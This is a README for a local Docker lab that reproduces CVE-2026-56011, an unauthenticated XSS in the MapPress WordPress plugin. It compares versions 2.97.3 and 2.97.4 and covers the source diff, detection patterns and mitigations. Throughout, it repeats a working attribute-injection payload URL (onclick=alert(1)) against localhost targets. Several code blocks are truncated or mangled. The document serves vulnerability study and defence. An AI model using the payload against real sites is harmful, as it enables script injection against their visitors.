此仓库包含一个本地 Docker 实验室,用于复现和验证 CVE-2026-56011,这是一个影响 MapPress Maps for WordPress 的未认证跨站脚本(XSS)漏洞。
MapPress Maps for WordPress 是一个用于在 WordPress 页面和文章中渲染地图的插件。漏洞行为影响可通过 mappress=embed 请求参数访问的 iframe 地图渲染路径。
此实验室比较两个 MapPress 版本:
| Service | MapPress 版本 | 目的 | URL |
|---|---|---|---|
| vuln | 2.97.3 | 易受攻击的比较目标 | http://localhost:8081 |
| patched | 2.97.4 | 已修补的比较目标 | http://localhost:8082 |
此本地实验室演示的验证路径如下:```text Unauthenticated browser request → GET /?mappress=embed → request supplies a crafted name value → vulnerable target renders name into an unquoted id attribute → injected onclick handler becomes a standalone HTML attribute → clicking the rendered MapPress component triggers alert(1) → patched target keeps the payload inside a quoted and escaped id attribute → clicking the rendered component does not trigger alert(1)
易受攻击的目标使用此手动浏览器 URL:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
预期的易受攻击结果:```text Click on the rendered MapPress component → alert(1) pops up
已经修补的目标对MapPress 2.97.4使用了相同的payload:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
预期的修补结果:```text Click on the rendered MapPress component → no alert appears
本实验室故意仅使用手动浏览器验证。它不包含 PoC 脚本、浏览器自动化、凭证窃取、外部回调、恶意软件、持久性、后渗透活动或针对外部系统的攻击。
## 已验证的事实
| 声明 | 证据 | 本实验室验证方法 |
| -------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------- |
| CVE-2026-56011 影响 WordPress 的 MapPress Maps 插件。 | 公开漏洞公告表明受影响的 WordPress 插件是 MapPress Maps for WordPress。 | 查看参考文献部分,并检查两个 Docker 目标中安装的插件。 |
| 本实验室中的易受攻击比较版本是 MapPress 2.97.3。 | `vuln` 服务使用 `MAPPRESS_VERSION: 2.97.3` 构建该插件。 | 检查 `docker-compose.yml` 和 `vuln/Dockerfile`。 |
| 本实验室中的修补后比较版本是 MapPress 2.97.4。 | `patched` 服务使用 `MAPPRESS_VERSION: 2.97.4` 构建该插件。 | 检查 `docker-compose.yml` 和 `patched/Dockerfile`。 |
| MapPress 2.97.4 引入了相关的 iframe 转义修复。 | 2.97.4 的官方插件更新日志显示 `Added: escape in iframe`。 | 查看官方 WordPress 插件更新日志,并比较易受攻击版本和修补版本的源代码。 |
| 易受攻击的源代码将地图名称渲染到 Web 组件的 `id` 属性中,但未加引号。 | 在 2.97.3 中,`mappress_map.php` 渲染 `<mappress-map id={$name} ...>`。 | 比较 2.97.3 和 2.97.4 的源代码。 |
| 修补后的源代码对 `id` 值进行了引号包围和转义。 | 在 2.97.4 中,`mappress_map.php` 使用 `esc_attr($name)` 渲染 `id="`。 | 比较 2.97.3 和 2.97.4 之间的补丁差异。 |
| iframe 路径无需认证即可访问。 | 当 `$_GET['mappress']` 存在时,MapPress 注册 `template_redirect`。 | 在不登录的情况下从浏览器请求 `/?mappress=embed...`。 |
| iframe 路径从请求中读取地图属性。 | `template_redirect()` 将 `$_GET` 映射为地图参数并调用 iframe 渲染器。 | 检查 `mappress.php` 并重现手动 URL。 |
| 易受攻击的目标允许通过 `name` 进行属性注入。 | 精心构造的 name 值可以突破未加引号的 `id` 属性,变成 `onclick=alert(1)`。 | 打开易受攻击的手动 URL 并点击渲染的 MapPress 组件。 |
| 修补后的目标阻止了测试的属性注入行为。 | 修补后的输出将完整的载荷保留在引号包围的 `id` 属性内。 | 打开修补后的手动 URL 并点击渲染的 MapPress 组件。 |
## 假设与未知因素
本实验室使用 MapPress 2.97.3 作为易受攻击的比较目标,因为公开公告指出包括 2.97.3 在内的版本均受影响,且源代码差异显示该版本中存在未加引号的易受攻击属性渲染。
本实验室使用 MapPress 2.97.4 作为修补后的比较目标,因为公开公告将 2.97.4 确定为修复版本,官方更新日志表明 iframe 路径中已添加转义。
测试的易受攻击行为是未经认证的 iframe 渲染路径:```text
GET /?mappress=embed&name=<crafted-value>
本实验侧重于手动在浏览器中执行无害的警报负载:```text name=cve56011 onclick=alert(1)
该实验室不试图证明存储型传递链。某些公开公告将该漏洞归类为存储型XSS。本仓库聚焦于源确认的iframe渲染接收器以及可通过未认证的`mappress=embed`路由在本地复现的脆弱版与修补版行为。
该实验室不演示:
* 存储型载荷持久性,
* WordPress账户泄露,
* 管理员会话窃取,
* nonce窃取,
* 外部回调,
* 盲XSS收集,
* 凭证窃取,
* 数据库转储,
* 恶意软件,
* 持久性,
* 或针对非实验室系统的攻击。
手动浏览器验证证明了与安全相关的渲染差异:```text
MapPress 2.97.3:
crafted name value becomes executable onclick attribute
MapPress 2.97.4:
crafted name value remains inside the quoted id attribute
CVE-2026-56011 的根本原因是当 MapPress 在 iframe 地图输出路径中渲染 web component 时,对地图 name 值的输出编码不正确。
漏洞代码路径接受来自请求的地图渲染属性,并最终渲染一个自定义 HTML 元素:```html <mappress-map ...>
在 MapPress 2.97.3 中,地图名称被直接插入到 `id` 属性中,没有使用引号,也没有进行属性上下文转义:```php
return "<div></div>\r\n<mappress-map id={$name} {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
这是不安全的,因为该值被用于HTML属性上下文中。如果攻击者控制 name,包含空格的值可以终止预期的 id 值并引入一个新属性。
该漏洞行为可总结为:```text Attacker sends unauthenticated iframe request → name = cve56011 onclick=alert(1) → MapPress sanitizes the value as text → sanitized text is still unsafe for an unquoted HTML attribute → renderer outputs id=cve56011 onclick=alert(1) → onclick becomes a standalone event handler attribute → user clicks the rendered component → JavaScript executes
关键点在于,通用的文本清理(sanitization)并不等同于正确的输出转义(escaping)。
易受攻击的代码对地图名称使用了 `sanitize_text_field()`,但这并不能使该值在未加引号的HTML属性中变得安全。空格在HTML属性中仍然有意义,因为它们分隔了一个属性和下一个属性。
因此,安全问题在于:```text
User-controlled input
+ unquoted HTML attribute context
+ missing esc_attr()
= attribute injection and XSS
补丁版本更改了渲染方式,对id值进行引用和转义处理:```php
return "
补丁后的行为可以总结如下:```text
Attacker sends the same crafted name value
→ MapPress renders id="cve56011 onclick=alert(1)"
→ onclick remains text inside the id value
→ no standalone event handler attribute is created
→ clicking the component does not execute alert(1)
安全教训是:```text Sanitize on input if needed, but always escape on output for the exact output context. For HTML attributes in WordPress, use esc_attr() and quote attribute values.
## 源代码分析
通过比较 MapPress 2.97.3 和 MapPress 2.97.4 确认了源代码级别的问题。
主要的渲染汇点在:```text
mappress_map.php
易受攻击的版本将 name 值作为未加引号的 id 属性渲染:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "
补丁版本引用了属性并对值进行了转义:```php
$name = (isset($vars['name']) ? $vars['name'] : 'noname');
return "<div></div>\r\n<mappress-map id=\"" . esc_attr($name) . "\" {$atts}>\r\n$pois\r\n</mappress-map>\r\n";
当请求包含 mappress 查询参数时,注册 iframe 路由:```php
if (isset($_GET['mappress']))
add_action('template_redirect', array(CLASS, 'template_redirect'));
iframe 请求处理器将查询参数映射为 map 参数:```php
$args = array_map(function($arg) {
if ($arg == 'true')
return true;
if ($arg == 'false')
return false;
return $arg;
}, $_GET);
然后,处理程序创建或加载一个映射对象,并使用请求参数更新它:```php $map = new Mappress_Map(); $map->update($args); $map->layout = 'left'; echo self::get_iframe($map); die();
iframe 助手渲染地图内容:```php
$content = $map->display(null, true);
display() 路径会保留提供的非空 name 值:```php
if (empty($this->name)) {
$this->name = (defined('DOING_AJAX') && DOING_AJAX) ? "mapp" . uniqid() : "mapp$div";
$div++;
}
这意味着请求提供的 `name` 值能够到达存在漏洞的渲染接收器。
与安全相关的流程是:```text
GET parameter name
→ $_GET
→ template_redirect()
→ $map->update($args)
→ $this->name
→ display()
→ display_web_component()
→ to_html()
→ <mappress-map id={$name} ...>
生成的映射属性的其余部分通过一个引用属性的辅助函数处理。脆弱的 id 渲染很特殊,因为 name 被提取出来单独渲染。
这使得脆弱面狭窄且易于验证:```text Only the web component id rendering needs to be compared. The vulnerable version renders id without quotes. The patched version renders id with quotes and esc_attr().
## 源代码补丁摘要
MapPress 2.97.4 修复了存在漏洞的 iframe 渲染行为,通过对生成的 `<mappress-map>` 元素的 `id` 属性值进行引用和转义来实现。
漏洞输出模式为:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
在此输出中,浏览器解析:```text id = cve56011 onclick = alert(1)
补丁输出模式是:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
在此输出中,浏览器解析:```text id = cve56011 onclick=alert(1)
没有创建独立的 `onclick` 属性。
与安全相关的补丁是:```text
Before:
id={$name}
After:
id="<escaped name>"
源码级别的修复虽然很小,但安全影响很大,因为受影响路径可以通过iframe嵌入端点无需认证即可访问。
本实验室将源码审查与运行时验证分开:```text Source patch review: explains why the vulnerable version can create an executable event handler attribute.
Manual browser validation: proves that the vulnerable target can execute alert(1) and the patched target does not.
## Lab Architecture
该实验通过 Docker Compose 运行两个隔离的 WordPress 目标。```text
.
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── README.md
└── .gitignore
有意不包含 poc/ 目录。验证是手动且基于浏览器的。
两个 WordPress 服务使用独立的数据库和独立的 WordPress 卷:
默认暴露的服务:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
实验室使用固定版本的 MapPress 插件:
| 目标 | MapPress 版本 | 预期行为 |
| -------------------- | ------------: | ---------------------------------------------- |
| http://localhost:8081 | 2.97.3 | 点击构造的组件触发 alert(1) |
| http://localhost:8082 | 2.97.4 | 点击构造的组件不触发 alert(1) |
Docker 构建直接从官方 WordPress 插件下载端点下载每个目标的对应插件 ZIP 文件:```text
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
WP-CLI 服务在实验室启动期间自动运行。它们会在每个目标中安装 WordPress 并激活 MapPress。
实验室不会创建或修改易受攻击的 MapPress 路由。该路由由每个目标中安装的真实 MapPress 插件版本提供。
不需要 Python 依赖。
不需要 PoC 脚本。
手动 XSS 验证不需要 WordPress 登录。
从干净状态启动实验室:```bash docker compose down -v --remove-orphans docker compose up -d --build
检查服务状态:```bash
docker compose ps
预期的运行服务:```text db-vuln db-patched vuln patched
预期暴露的目标:```text
http://localhost:8081
http://localhost:8082
检查WordPress安装和插件激活是否完成:```bash docker compose logs wpcli-vuln wpcli-patched
预期的设置消息:```text
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
vuln setup complete
Success: WordPress installed successfully.
Plugin 'mappress-google-maps-for-wordpress' activated.
patched setup complete
设置完成后,WordPress登录页面应返回 HTTP 200:```bash
curl -i http://localhost:8081/wp-login.php | head
curl -i http://localhost:8082/wp-login.php | head
如果根页面暂时重定向到 `/wp-admin/install.php`,则 WP-CLI 设置可能仍在完成中。请等到 `wpcli-vuln` 和 `wpcli-patched` 日志显示设置完成消息,然后重试。
## 手动弹框 XSS 验证
此实验仅使用手动浏览器验证。
不包含 PoC 脚本。
无需登录。
### 漏洞目标
在浏览器中打开此 URL:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
点击渲染后的 MapPress 组件。
预期的漏洞结果:```text alert(1) pops up
安全含义:```text
The crafted name value escaped the intended id attribute value and became a standalone onclick event handler.
易受攻击的浏览器解析行为等同于:```html <mappress-map id=cve56011 onclick=alert(1) ...>
浏览器将其视为:```text
id = cve56011
onclick = alert(1)
当组件被点击时,事件处理器运行。
在浏览器中打开此 URL:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
点击渲染后的 MapPress 组件。
预期的补丁结果:```text
No alert appears.
安全含义:```text The crafted onclick payload is kept inside the quoted id attribute and does not become a standalone event handler.
修补后的浏览器解析行为等效于:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
浏览器将其视为:```text id = cve56011 onclick=alert(1)
未创建可执行的 `onclick` 属性。
## 预期结果
### 易受攻击的目标
手动浏览器 URL:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
Expected result after clicking the rendered component:```text alert(1) pops up
预期分类:```text
VULNERABLE_BEHAVIOR_OBSERVED
重要的漏洞信号是:```text MapPress 2.97.3
### 已修补的目标
手动浏览器URL:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
点击渲染组件后的预期结果:```text No alert appears.
期望分类:```text
BLOCKED_BEHAVIOR_OBSERVED
重要的修补后的信号是:```text MapPress 2.97.4
## 验证的工作原理
手动验证向 MapPress 的 iframe 渲染路径发送浏览器请求:```text
/?mappress=embed
请求包含一个精心构造的 name 值:```text
cve56011 onclick=alert(1)
完整的易受攻击的请求是:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
完整的修补后请求为:```text http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
在 MapPress 2.97.3 中,`name` 值被插入到未加引号的 `id` 属性中:```html
<mappress-map id=cve56011 onclick=alert(1) ...>
由于属性未加引号,cve56011 后面的空格会开始一个新属性。
浏览器将输出解析为:```text id="cve56011" onclick="alert(1)"
当渲染的组件被点击时,注入的事件处理程序执行。
在 MapPress 2.97.4 中,相同的值被转义并引用:```html
<mappress-map id="cve56011 onclick=alert(1)" ...>
浏览器将整个有效载荷解释为一个单一的 id 值。
没有创建事件处理程序。
验证是故意手动的,因为目标是直接展示浏览器可见的XSS行为:
vulnerable target
→ click
→ alert(1)
patched target
→ click
→ no alert
```
## 手动浏览器复现
启动实验室:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
```
等待设置完成:```bash
docker compose logs wpcli-vuln wpcli-patched
```
预期的设置完成:```text
vuln setup complete
patched setup complete
```
打开易受攻击的目标:```text
http://localhost:8081/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
```
点击渲染后的 MapPress 组件。
预期结果:```text
alert(1)
```
打开已修补的目标:```text
http://localhost:8082/?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
```
点击渲染后的 MapPress 组件。
预期结果:```text
No alert
```
作品集撰写推荐的截图证据:```text
1. docker compose ps showing both targets running
2. wpcli logs showing WordPress installed and MapPress activated
3. vulnerable browser page with alert(1)
4. patched browser page after clicking with no alert
5. source diff showing id={$name} changed to id=" . esc_attr($name) . "
```
## 影响
CVE-2026-56011 具有安全敏感性,因为未经验证的攻击者可以构造一个 MapPress iframe URL,向渲染的地图组件中注入 JavaScript。
潜在的实际影响取决于恶意 URL 的传递方式以及哪个用户打开它。
可能的影响包括:
* 在受害者浏览器中执行攻击者控制的 JavaScript,
* 在受影响的 WordPress 源内进行钓鱼或 UI 操纵,
* 访问同源的非 HttpOnly 数据,
* 如果其他应用程序条件允许,以受害者身份执行操作,
* 窃取 CSRF 令牌或未受保护的页面数据,
* 以及滥用受信任的 WordPress 站点上下文。
本实验室仅演示一个无害的本地警报负载:```text
onclick=alert(1)
```
本实验不演示会话窃取、凭据窃取、管理员账户接管、恶意外部JavaScript加载、盲XSS收集,或针对公共WordPress站点的攻击。
生产环境下的实际风险取决于:
* 是否安装了受影响的MapPress版本,
* 易受攻击的iframe endpoint是否可达,
* 受害者能否被诱导打开精心构造的URL,
* 受害者在WordPress站点中拥有何种权限,
* 浏览器保护措施,
* Cookie标志,
* Content Security Policy,
* 以及其它站点特定的控制措施。
## 检测与监控
潜在指标包括对MapPress iframe渲染路径的请求:```text
GET /?mappress=embed
```
可疑的查询参数可能包括 `name` 参数中的 JavaScript 相关字符串:```text
name=...onclick...
name=...onmouseover...
name=...onfocus...
name=...alert...
name=...script...
name=...javascript...
```
高信号检测思路:```text
HTTP request contains:
mappress=embed
AND
name parameter contains an event handler pattern such as on*=
```
示例可疑请求:```text
GET /?mappress=embed&name=cve56011%20onclick%3Dalert%281%29&width=400px&height=300px&zoom=5¢er=0%2C0
```
可能需要检查的 Web 服务器日志或遥测数据:
* 请求路径和查询字符串,
* `mappress=embed` 请求,
* 可疑的 `name` 值,
* URL 编码的事件处理程序,
* 来自外部引荐来源的请求,
* iframe 嵌入请求的激增,
* WordPress 访问日志,
* 反向代理日志,
* 针对 XSS 载荷的 WAF 警报,
* 以及地图嵌入端点的异常流量。
推荐的监控措施:
* 检查访问日志中是否存在 `mappress=embed`。
* 在查询字符串中搜索事件处理程序模式。
* 搜索编码后的载荷,例如 `%20onclick%3D`。
* 对可疑的 `name` 参数值发出警报。
* 检查受影响版本的 MapPress 是否已安装。
* 确认该插件已更新至 2.97.4 或更高版本。
* 将 WAF 拦截视为临时控制措施,而非补丁的替代方案。
## 缓解措施与补丁说明
将 WordPress 版 MapPress Maps 升级至 2.97.4 或更高版本。
相关补丁更改了 iframe 地图输出,使得生成的 web 组件 `id` 属性被引用并转义。
安全相关行为:```text
Before:
id={$name}
After:
id="<escaped name>"
```
建议的缓解措施:
* 将 MapPress Maps for WordPress 升级至 2.97.4 或更高版本。
* 优先使用最新的可用插件版本,而非停留在实验室比较版本。
* 确认已安装的插件版本不在受影响范围内。
* 更新后清除页面缓存和 CDN 缓存。
* 检查访问日志中是否存在可疑的 `mappress=embed` 请求。
* 搜索日志中是否存在可疑的 `name` 参数值。
* 考虑为包含事件处理程序的 `mappress=embed` 请求设置临时 WAF 规则。
* 限制 WordPress 管理功能的不必要暴露。
* 在兼容情况下使用严格的内容安全策略。
* 保持 WordPress 核心、主题和插件的更新。
安全工程经验教训:
* 对所有 HTML 属性进行引用。
* 根据确切的输出上下文进行输出转义。
* 在 WordPress HTML 属性输出中使用 `esc_attr()`。
* 不要依赖 `sanitize_text_field()` 来替代输出转义。
* 为 iframe 和短代码渲染路径添加回归测试。
* 审查自定义 Web 组件渲染,因为自定义标签仍遵循正常的 HTML 解析规则。
## 安全边界
本实验室仅用于本地安全研究和受控演示。
请勿将手动 XSS URL 用于你不拥有或未获得明确授权测试的系统。
请勿在本实验室中使用真实的生产凭据、客户数据、支付数据、API 密钥、数据库凭据或生产机密。
预期范围仅限于本地 Docker 服务,例如:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
```
手动有效载荷故意无害:```text
onclick=alert(1)
```
该实验室不包含以下有效载荷:
* cookie 窃取,
* 凭证窃取,
* CSRF 令牌窃取,
* 管理员行为滥用,
* 外部回调,
* 盲 XSS 收集,
* 恶意软件,
* 持久化,
* 钓鱼工具包,
* 浏览器利用,
* 横向移动,
* 客户数据访问,
* 或针对非实验系统的攻击。
目标是演示受控环境中的一个特定技术条件:```text
Unauthenticated iframe request
+ crafted name parameter
+ vulnerable target creates executable event handler attribute
+ patched target keeps payload inside quoted id attribute
```
## 清理
停止并移除容器、网络和卷:```bash
docker compose down -v --remove-orphans
```
如果需要,请移除本地构建的实验镜像:```bash
docker image rm cve-2026-56011-vuln cve-2026-56011-patched
```
检查没有剩余的实验室容器:```bash
docker compose ps
```
## 参考
* CVE记录:CVE-2026-56011
https://www.cve.org/CVERecord?id=CVE-2026-56011
* NVD:CVE-2026-56011
https://nvd.nist.gov/vuln/detail/CVE-2026-56011
* WordPress插件:MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/
* WordPress插件变更日志:MapPress Maps for WordPress
https://wordpress.org/plugins/mappress-google-maps-for-wordpress/#developers
* Patchstack:MapPress Maps for WordPress <= 2.97.3 XSS
https://patchstack.com/database/wordpress/plugin/mappress-google-maps-for-wordpress/vulnerability/wordpress-mappress-maps-for-wordpress-plugin-2-97-3-cross-site-scripting-xss-vulnerability
* Wordfence Intelligence:MapPress Maps for WordPress <= 2.97.3
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/mappress-google-maps-for-wordpress/
* WPScan漏洞数据库:MapPress Maps for WordPress < 2.97.4
https://wpscan.com/vulnerability/
* WordPress插件下载:MapPress 2.97.3
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.3.zip
* WordPress插件下载:MapPress 2.97.4
https://downloads.wordpress.org/plugin/mappress-google-maps-for-wordpress.2.97.4.zip
| 服务 | 组件 | 版本/角色 |
|---|
| db-vuln | MariaDB | 用于易受攻击的 WordPress 的数据库 |
| db-patched | MariaDB | 用于修补后的 WordPress 的数据库 |
| vuln | WordPress | 带有 MapPress 2.97.3 的易受攻击目标 |
| patched | WordPress | 带有 MapPress 2.97.4 的修补后目标 |
| wpcli-vuln | WP-CLI | 安装 WordPress 并激活插件 |
| wpcli-patched | WP-CLI | 安装 WordPress 并激活插件 |